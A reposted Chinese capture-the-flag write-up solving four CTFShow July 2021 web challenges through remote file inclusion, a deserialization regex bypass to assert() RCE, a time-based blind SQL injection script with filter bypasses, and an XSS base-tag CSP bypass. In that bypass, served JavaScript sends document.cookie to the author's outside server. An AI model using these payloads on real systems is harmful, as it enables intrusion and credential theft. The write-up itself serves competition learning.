CTFShow2021七月赛Web

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFShow2021七月赛Web相关的知识,希望对你有一定的参考价值。

CTFShow2021七月赛Web

warmup

    $ext = pathinfo($_GET['file'], PATHINFO_EXTENSION);
    if($ext==='php'){
        include $_GET['file'];
    }

要求文件后缀为php,经过测试可以远程文件包含。VPS上写个php马直接包含即可。

?file=http://118.31.168.198:39543/feng.php
0=phpinfo();

存在disable_functions,拿函数绕一下即可。

0=var_dump(scandir('/'));
0=echo file_get_contents('/secret');

cjbweb

反序列化,利用点:

call_user_func($this->name,$this->msg);

但是有2个正则waf:

        if(preg_match('/\\d|\\/|,|\\([^()]*\\([^()]*\\)/',$this->msg)){
            $this->name="var_dump";
            $this->msg="You look dangerous!!!";
            $safe="I think waf is enough.";
        }

    if(preg_match('/s:4:"name";s:\\d:"v\\w*"/',$info)){
        unserialize($info);
    }else{
        echo "I just love v";
    }

先看第一个正则waf,要求函数的参数不能有数字,斜杠,逗号,还有括号的什么组合,这个不重要。正常构造:

<?php
class Hacker{
    public $name="assert";
    public $msg="phpinfo();";
}
echo serialize(new Hacker());

会发现过不了第二个waf。构造出来的是这样

O:6:"Hacker":2:{s:4:"name";s:6:"assert";s:3:"msg";s:10:"phpinfo();";}

观察waf:

/s:4:"name";s:\\d:"v\\w*"/

可以发现它要求name的值以v开头。也就是说调用的函数是一个以v开头的函数。想不到可以利用的函数,但是可以想办法给它绕过。考虑到用的是preg_match,只要匹配到即可。因此想办法给个属性,它的值符合这个正则即可。

<?php
class Hacker{
    public $feng = 's:4:"name";s:1:"v"';
    public $name="assert";
    public $msg="phpinfo();";
}
echo serialize(new Hacker());

然后想办法拿shell就行了,第一个正则我没怎么管,直接想办法assert:

<?php
class Hacker{
    public $feng = 's:4:"name";s:1:"v"';
    public $name="assert";
    public $msg='assert($_POST[\\'a\\']);';
}
echo serialize(new Hacker());
info=O:6:"Hacker":3:{s:4:"feng";s:18:"s:4:"name";s:1:"v"";s:4:"name";s:6:"assert";s:3:"msg";s:20:"assert($_POST['a']);";}&a=phpinfo();

然后像第一题一样拿$_POST['a']rce即可。

info=O:6:"Hacker":3:{s:4:"feng";s:18:"s:4:"name";s:1:"v"";s:4:"name";s:6:"assert";s:3:"msg";s:20:"assert($_POST['a']);";}&a=var_dump(file_get_contents('/you_never_know_my_name'));

CTF知识问答

阴间题目100分不给flag。SQL注入,flag在数据库里。

经过测试,发现login.php存在SQL注入。

username=-1'||sleep(1)%23&studentid=1&submit=%E6%8F%90%E4%BA%A4

可以延时1s,说明存在SQL注入。

再经过fuzz,发现至少过滤了这些:

or
union
select
on
in
=

但是可以双写绕过。空格似乎没有过滤,但是有些词它是连着空格一起过滤的,因此不用空格,用/**/就可以减少麻烦。

等于号被过滤,拿大于号小于号绕过即可。

然后正常的SQL注入即可。

username=-1'||if(ascii(substr(database(),1,1))<128,sleep(1),1)%23&studentid=1&submit=%E6%8F%90%E4%BA%A4  
会延时
username=-1'||if(ascii(substr(database(),1,1))<64,sleep(1),1)%23&studentid=1&submit=%E6%8F%90%E4%BA%A4
不延时
    
所以直接时间盲注,我没试能不能布尔注入。

写个python脚本:

"""
Author:feng
"""
import requests
from time import *
url='http://c8966359-62e5-4f8b-baa5-ccc59388b22b.challenge.ctf.show:8080/login.php'


flag=''
for i in range(1,10000000):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload="-1'||if(ascii(substr(database(),{},1))<{},sleep(0.5),1)#".format(i,j)
        #payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(table_name)/**/from/**/iinnfoorrmatioonn_schema.tables/**/whewherere/**/table_schema/**/lilikeke/**/database()),{},1))<{},sleep(1),1)#".format(i,j)
        #payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(column_name)/**/from/**/iinnfoorrmatioonn_schema.columns/**/whewherere/**/table_name/**/lilikeke/**/'ctf'),{},1))<{},sleep(1),1)#".format(i,j)
        payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(value)/**/from/**/ctf),{},1))<{},sleep(0.4),1)#".format(i,j)

    #payload="'||ascii(substr((load_file(reverse('dwssap/cte/'))),{},1))<{}#".format(i,j)

        data={
            'username':payload,
            'studentid':'1',
            'submit':'提交'
        }
        try:
            r=requests.post(url=url,data=data,timeout=0.3)
            #print(r.text)
            min = j
        except:
            max = j

        sleep(0.2)

flag在ctf表里。

ezxss

不会XSS,学一波CSP。

f12发现:

<!--?source=1-->

得到源码:

<?php
if(!isset($_GET['user'])&&!isset($_GET['username'])&&!isset($_GET['source'])&&!isset($_GET['query'])){
    header("Location: ./?username=guest");
    die();
}
$test=md5(uniqid('',true));
header("Content-Security-Policy:  script-src 'strict-dynamic' 'nonce-$test'; img-src 'self'; style-src 'self';  font-src 'self'; frame-src 'none' ");
header ( "Cache-Control: no-cache, must-revalidate " );
function getCurrentUrl(){
    $scheme = $_SERVER['REQUEST_SCHEME'];
    $domain = $_SERVER['HTTP_HOST'];
    $requestUri = $_SERVER['REQUEST_URI'];
    $currentUrl = $scheme . "://" . $domain . $requestUri;
    return $currentUrl;
}
class user{
    public $username;
    public function __wakeup(){
        if (is_string($this->username)){
            if (preg_match('/script|<|>|onload|onerror/i',$this->username)){
                die('no xss');
            }
            else{
                echo '<h1 id="username">'.htmlentities('welcome back '.$this->username).'</h1>';
            }
        }
        else{
            echo '<h1 id="username">'.$this->username.'&nbsp&nbspis&nbsp&nbspnot&nbsp&nbspallowed,&nbsp&nbsponly&nbsp&nbspstring'.'</h1>';
            file_put_contents('admin.log',$_GET['user']);   //admin will check who attacks him in /admin.php
        }
    }
}
if (isset($_GET['source'])){
    $text=file_get_contents(__FILE__);
    echo $text;
    die();
}
if (isset($_GET['query'])){
    //drive bot to visit your page
    //source code : browser.get('http://127.0.0.1/?'+sys.argv[1])
    //query example:
    //your url : httP://127.0.0.1/?username=guest
    //query : username=guest
    $text=escapeshellarg($_GET['query']);
    #echo($text);
    system('python /var/xssbot/xssbot.py '.$text);
    //sleep(3);
    die();
}
echo "
<html>
<head>
<link rel='stylesheet' href='./css/stylesheet.css'>
</head>
";
echo "<!--?source=1-->\\n";
echo "<body>\\n";
if (isset($_GET['user'])){
    unserialize(urldecode(base64_decode($_GET['user'])));
}
else if(isset($_GET['username'])){
    echo '<h1 id="username">'.htmlentities('hello '.$_GET['username']).'</h1>';

}



echo '<div id="particles-js"></div>';


echo "
<script nonce='$test' src='./js/jquery-1.12.0.js'></script>
<script nonce='$test' src='./js/particles.min.js'></script>
<script nonce='$test' src='./js/app.js'></script>
 ";
echo "</body>
</html>
";


?>

因为不会XSS,问了一下出题人说xss就是要拿到管理员的cookie。所以想办法xss拿管理员cookie。

if (isset($_GET['query'])){
    //drive bot to visit your page
    //source code : browser.get('http://127.0.0.1/?'+sys.argv[1])
    //query example:
    //your url : httP://127.0.0.1/?username=guest
    //query : username=guest
    $text=escapeshellarg($_GET['query']);
    #echo($text);
    system('python /var/xssbot/xssbot.py '.$text);
    //sleep(3);
    die();
}

让bot模拟管理员访问,想办法利用这个拿到cookie。

审计一下代码,发现代码中一共有三处xss,但是有2处都被htmlentities了,唯一一处没被转义的是这里的else

        if (is_string($this->username)){
            if (preg_match('/script|<|>|onload|onerror/i',$this->username)){
                die('no xss');
            }
            else{
                echo '<h1 id="username">'.htmlentities('welcome back '.$this->username).'</h1>';
            }
        }
        else{
            echo '<h1 id="username">'.$this->username.'&nbsp&nbspis&nbsp&nbspnot&nbsp&nbspallowed,&nbsp&nbsponly&nbsp&nbspstring'.'</h1>';
            file_put_contents('admin.log',$_GET['user']);   //admin will check who attacks him in /admin.php
        }

考虑利用反序列化xss,但是进入else的要求是不进入if

if (is_string($this->username)){

不是字符串却要echo,很明显的php原生类的xss。想办法利用Error类或者Exception类即可。

因此xss的点就拿到了,接下来要绕CSP:

header("Content-Security-Policy:  script-src 'strict-dynamic' 'nonce-$test'; img-src 'self'; style-src 'self';  font-src 'self'; frame-src 'none' ");
header ( "Cache-Control: no-cache, must-revalidate " );
Content-Security-Policy: 
script-src 'strict-dynamic' 'nonce-e8f8a73d24aa61894a7f7dd3c3aa416c'; 
img-src 'self'; 
style-src 'self';  
font-src 'self'; 
frame-src 'none'

发现script-src被设了nonce,需要script中给了正确的nonce才可以执行js代码。但是这里的nonce是

$test=md5(uniqid('',true));

根据时间产生的唯一ID。

学一波CSP的绕过:

https://www.mi1k7ea.com/2019/02/24/CSP%E7%AD%96%E7%95%A5%E5%8F%8A%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7%E5%B0%8F%E7%BB%93/

https://blog.szfszf.top/article/32/

学习到了利用base标签来绕过这个script-src的nonce:

标签为页面上的所有链接规定默认地址或默认目标。

通常情况下,浏览器会从当前文档的 URL 中提取相应的元素来填写相对 URL 中的空白。

使用 标签可以改变这一点。浏览器随后将不再使用当前文档的 URL,而使用指定的基本 URL 来解析所有的相对 URL。这其中包括 、、、 标签中的 URL。

<html>
<head>
<link rel='stylesheet' href='./css/stylesheet.css'>
</head>
<!--?source=1-->
<body>
<h1 id="username">hello guest</h1><div id="particles-js"></div>
<script nonce='6595cb029041d966743b9a7aafd07b41' src='./js/jquery-1.12.0.js'></script>
<script nonce='6595cb029041d966743b9a7aafd07b41' src='./js/particles.min.js'></script>
<script nonce='6595cb029041d966743b9a7aafd07b41' src='./js/app.js'></script>
 </body>
</html>

也就是说,默认的base就是当前的文档的url,然后根据地址确定url,比如下面的那些:

src='./js/app.js'

而且下面的三个script是有着正确nonce值的,因此这三个的js是可以执行的:

<script nonce='6595cb029041d966743b9a7aafd07b41'

因此想办法加载恶意的js即可。把base改成我们自己的VPS:

<base href=\\"http://118.31.168.198:39543\\">
<?php
class user{
    public $username;
    public function __construct()
    {

        $this->username = new Exception("<base href=\\"http://118.31.168.198:39543\\">");
    }
}
echo base64_encode(urlencode(serialize(new user())));

然后vps上写这么个js文件:./js/app.js

root@iZbp14tgce8absspjkxi3iZ:~# cat ./js/app.js
window.open('http://118.31.168.198:39543/'+document.cookie)

然后起python:

python3 -m http.server 39543

再利用query打过去,即可得到cookie:

root@iZbp14tgce8absspjkxi3iZ:~# python3 -m http.server 39543
Serving HTTP on 0.0.0.0 port 39543 (http://0.0.0.0:39543/) ...
49.235.148.38 - - [10/Jul/2021 16:13:50] code 404, message File not found
49.235.148.38 - - [10/Jul/2021 16:13:50] "GET /js/jquery-1.12.0.js HTTP/1.1" 404 -
49.235.148.38 - - [10/Jul/2021 16:13:50] code 404, message File not found
49.235.148.38 - - [10/Jul/2021 16:13:50] "GET /js/particles.min.js HTTP/1.1" 404 -
49.235.148.38 - - [10/Jul/2021 16:13:50] "GET /js/app.js HTTP/1.1" 200 -
49.235.148.38 - - [10/Jul/2021 16:13:50] code 404, message File not found
49.235.148.38 - - [10/Jul/2021 16:13:50] "GET /flag=ctfshow%7B1d7180b4-ec0b-480e-ab9c-414a38971cd2%7D%0A HTTP/1.1" 404 -

以上是关于CTFShow2021七月赛Web的主要内容,如果未能解决你的问题,请参考以下文章

CTFShow2021六月赛Web

Ctfshow 五月赛 大牛杯 Web&BlockChain

Pwnhub2021七月赛NewSql(mysql8注入)

Pwnhub2021七月赛NewSql(mysql8注入)

CTFshow-萌新赛逆向_签退

CTFshow-萌新赛杂项_劝退警告